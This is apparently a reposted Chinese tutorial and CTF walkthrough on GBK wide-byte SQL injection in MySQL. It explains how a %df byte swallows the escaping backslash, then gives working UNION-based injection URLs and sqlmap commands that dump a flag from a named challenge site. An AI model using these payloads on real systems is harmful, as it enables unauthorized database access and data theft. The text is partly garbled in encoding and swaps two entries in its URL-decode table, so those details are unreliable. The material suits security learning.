mysql 宽字符注入_sql注入 宽字节注入
寬字節(jié)注入
寬字節(jié)注入是利用mysql的一個(gè)特性,mysql在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符是一個(gè)漢字(ascii碼要大于128,才到漢字的范圍),
而當(dāng)我們輸入有單引號(hào)時(shí)會(huì)自動(dòng)加入\進(jìn)行轉(zhuǎn)義而變?yōu)閈’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數(shù),icov函數(shù),mysql_real_escape_string函數(shù)、mysql_escape_string函數(shù)等,
提交的參數(shù)中如果帶有單引號(hào)’,就會(huì)被自動(dòng)轉(zhuǎn)義\’,使得多數(shù)注入攻擊無(wú)效),
由于寬字節(jié)帶來(lái)的安全問(wèn)題主要是吃ASCII字符(一字節(jié))的現(xiàn)象,將后面的一個(gè)字節(jié)與前一個(gè)大于128的ascii碼進(jìn)行組合成為一個(gè)完整的字符
(mysql判斷一個(gè)字符是不是漢字,首先兩個(gè)字符時(shí)一個(gè)漢字,另外根據(jù)gbk編碼,第一個(gè)字節(jié)ascii碼大于128,基本上就可以了),
此時(shí)’前的\就被吃了,我們就可以使用’了,利用這個(gè)特性從而可實(shí)施SQL注入的利用。)
GBK?占用兩字節(jié)
ASCII占用一字節(jié)
PHP中編碼為GBK,函數(shù)執(zhí)行添加的是ASCII編碼,MYSQL默認(rèn)字符集是GBK等寬字節(jié)字符集。
%DF:
輸入%df和函數(shù)執(zhí)行添加的%5C,被合并成%df%5C。由于GBK是兩字節(jié),這個(gè)%df%5C被MYSQL識(shí)別為GBK。導(dǎo)致本應(yīng)的%df\變成%df%5C。%df%5C在GBK編碼中沒(méi)有對(duì)應(yīng),所以被當(dāng)成無(wú)效字符? 。
%df%5c? ----->? 運(yùn)
%DF’
會(huì)被PHP當(dāng)中的addslashes函數(shù)轉(zhuǎn)義為“? %DF\'” ,“\”則是URL里的“%5C”,那么也就是說(shuō),
“%DF'”會(huì)被轉(zhuǎn)成“%DF%5C%27”倘若網(wǎng)站的字符集是GBK,MYSQL使用的編碼也是GBK的話(huà),就會(huì)認(rèn)為“%DF%5C%27”是一個(gè)寬字符。也就是“縗’”
%df%5c%27? ----->? 縗 '
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其對(duì)應(yīng)的sql就是:
select * fromcms_user where username = ‘運(yùn)’ or 1=1 limit 1,1#’ and password=”
所以%df和后面的\也就是%5c變成了一個(gè)漢字“運(yùn)”, 而 ’逃逸了出來(lái)
URLdecode解碼
%23: ’
%27: #
%5c: \
%df \??? ------>運(yùn)
%df%5c%27? ----->? 縗 '
例題:
先嘗試單引號(hào)?id=1’?? 發(fā)現(xiàn)頁(yè)面輸出的引號(hào)被轉(zhuǎn)義了,在前面加了一個(gè) \ 符號(hào)
嘗試 如果構(gòu)造 \ \ 那么后面的引號(hào)也就可以發(fā)揮作用了
構(gòu)造:?id=1%df%27
報(bào)錯(cuò)
再構(gòu)造:?id=1%df%df%23
查詢(xún)又恢復(fù)正常了,因?yàn)?df%df 雙字節(jié)構(gòu)成了一個(gè)漢字,而%df%23又不成漢字所以得知此題存在寬字節(jié)注入
開(kāi)始爆數(shù)據(jù)庫(kù):
?id=1%df%27 order by 2#
列數(shù)得知 2列。
爆庫(kù):
?id=-1%df%27 union select 1,database()%23
數(shù)據(jù)庫(kù):sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出這些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
字段:id flag
查詢(xún)關(guān)鍵字:
?id=-1%df%27 union select 1,flag from ctf4%23
利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
跑出庫(kù)? :?? sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" ?--dbs
爆表:?? sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover ? --tables
爆字段 ?sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -T ctf? --columns
跑出flag:sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover ?-C flag --dump
總結(jié)
以上是生活随笔為你收集整理的mysql 宽字符注入_sql注入 宽字节注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: mysql locking_Mysql
- 下一篇: mysql timestamp 用法_M